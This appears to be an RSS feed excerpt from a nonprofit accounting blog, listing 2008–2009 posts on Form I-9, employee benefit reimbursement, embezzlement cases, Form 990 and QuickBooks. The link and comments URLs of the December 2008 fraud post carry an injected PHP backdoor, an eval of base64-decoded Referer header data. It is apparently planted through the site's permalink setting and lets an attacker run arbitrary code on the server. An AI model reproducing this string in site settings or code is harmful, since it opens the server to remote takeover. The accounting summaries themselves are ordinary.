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	<description>Help for bookkeepers, accountants and finance managers of nonprofit organizations</description>
	<pubDate>Wed, 02 Sep 2009 19:40:47 +0000</pubDate>
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		<title>Changes to Form I-9</title>
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		<pubDate>Wed, 02 Sep 2009 19:36:59 +0000</pubDate>
		<dc:creator>Nancy</dc:creator>
		
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		<description><![CDATA[USCIS (United States Citizenship and Immigration Service) has issued a revised I-9 form, effective August 7, 2009. (Look in the lower right-hand corner for the “Rev. Date” if you’re not sure which version of this federal form you’re using.) You can retrieve the new I-9 from www.uscis.gov/files/form/i-9.pdf. Don’t worry if you didn’t know about this [...]]]></description>
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		<title>Reimbursable Employee Benefits:  Collecting What&#8217;s Due</title>
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		<pubDate>Thu, 27 Aug 2009 22:12:24 +0000</pubDate>
		<dc:creator>Nancy</dc:creator>
		
		<category><![CDATA[Employee benefits and payroll]]></category>

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		<description><![CDATA[When an employee leaves, how can you be sure they’ve repaid all the money the organization has laid out on their behalf for various employee benefits? I ask this because I’ve seen several instances lately where, because of timing differences in invoicing for benefits and payroll, staff members terminated without reimbursing everything they should have through their withholding. ]]></description>
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		<title>This Time, It Wasn&#8217;t an Inside Job</title>
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		<pubDate>Thu, 30 Jul 2009 17:52:25 +0000</pubDate>
		<dc:creator>Nancy</dc:creator>
		
		<category><![CDATA[Fraud in nonprofits]]></category>

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		<description><![CDATA[Professional thieves operate skillfully and quickly - here's how it happend to one accountant who thought the purse under the desk maneuver was enough.]]></description>
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		<title>Form 990 Governance Questions:  What’s the IRS Really After?</title>
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		<pubDate>Wed, 03 Jun 2009 02:36:04 +0000</pubDate>
		<dc:creator>Nancy</dc:creator>
		
		<category><![CDATA[Form 990-Nonprofit Tax Return]]></category>

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		<description><![CDATA[If you’ve worked at all with the 2008 Form 990, or if you’ve talked with any nonprofit accountant about it, you know that it’s been greatly rearranged, redesigned, and made much longer. While the balance sheet and statement of activities haven’t changed all that much, there are new sections full of questions that seem to [...]]]></description>
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		<title>Booster Club&#8217;s Embezzler Is Caught</title>
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		<pubDate>Tue, 19 May 2009 16:41:03 +0000</pubDate>
		<dc:creator>Nancy</dc:creator>
		
		<category><![CDATA[Fraud in nonprofits]]></category>

		<category><![CDATA[nonprofit accounting]]></category>

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		<description><![CDATA[Anna Mueller was a volunteer bookkeeper for the Booster Club at Benson High School in Portland, Oregon. As reported by the Portland Tribune newspaper, she has now pled guilty to embezzling more than $10,000 from the club, which supports athletics at this technical high school. How was she able to take that much money? She had [...]]]></description>
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		<title>Balance Sheets With Classes in QuickBooks</title>
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		<pubDate>Wed, 22 Apr 2009 04:14:08 +0000</pubDate>
		<dc:creator>Nancy</dc:creator>
		
		<category><![CDATA[Nonprofit Finance]]></category>

		<category><![CDATA[Nonprofit Financial statements]]></category>

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		<category><![CDATA[nonprofit accounting]]></category>

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Balance Sheets With Classes in QuickBooks
My client - let’s call him Bob - is a mild-mannered guy, so when I heard him muttering swear words under his breath the other day, I had to ask what was wrong. “QuickBooks!” he exclaimed. “I wish it would export to Excel without wiping out everything I had set [...]]]></description>
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		<title>For Those Prone to Clutter</title>
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		<pubDate>Mon, 02 Mar 2009 19:03:18 +0000</pubDate>
		<dc:creator>Nancy</dc:creator>
		
		<category><![CDATA[Nonprofit Finance]]></category>

		<category><![CDATA[nonprofit accounting]]></category>

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		<description><![CDATA[I’ve had a very busy winter with lots of client work in addition to writing this newsletter and getting my next project ready to announce to you. My desk top – the physical one – is beginning to show signs of incomplete projects, plans not yet realized, and working until interrupted by the next appointment. [...]]]></description>
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		<title>Barack Obama&#8217;s Example for the Nonprofit Accountant</title>
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		<pubDate>Wed, 21 Jan 2009 04:49:54 +0000</pubDate>
		<dc:creator>Nancy</dc:creator>
		
		<category><![CDATA[Nonprofit Finance]]></category>

		<category><![CDATA[nonprofit accounting]]></category>

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		<category><![CDATA[Nonprofit accounting;nonprofit management]]></category>

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		<description><![CDATA[Recent client engagements have reminded me how easy it is to become overwhelmed with requests and expectations from our colleagues. On any given day, you could find that one comes to you for help with her time sheet, another needs a check by 3:00, the development assistant “reminds” you – for the first time! – [...]]]></description>
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		<title>Alert Accountant Discovers Fraud - But Not Soon Enough</title>
		<link>http://NonprofitAccountingHelp.org/2008/12/16/alert-accountant-discovers-fraud-but-not-soon-enough/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://NonprofitAccountingHelp.org/2008/12/16/alert-accountant-discovers-fraud-but-not-soon-enough/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 16 Dec 2008 17:47:16 +0000</pubDate>
		<dc:creator>Nancy</dc:creator>
		
		<category><![CDATA[Fraud in nonprofits]]></category>

		<category><![CDATA[Nonprofit Finance]]></category>

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		<description><![CDATA[The accountant for a nonprofit pays the bills each week. After she cuts the checks, she clips them to their backup, puts them in a folder marked “for signature”, and puts them on the executive director’s desk. If the ED is out for a while, she puts them in a locking drawer in his office. [...]]]></description>
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		<title>Is That Money Really Yours?</title>
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		<pubDate>Mon, 17 Nov 2008 16:23:02 +0000</pubDate>
		<dc:creator>Nancy</dc:creator>
		
		<category><![CDATA[nonprofit accounting]]></category>

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		<description><![CDATA[One day a check arrives from a foundation with a letter that says, “We have approved your request for funding and enclosed is a check for $60,000.” Is that money really your organization’s to spend as it wishes? How can you, the accountant, record this transaction correctly? 
 
To record the receipt of the check properly, [...]]]></description>
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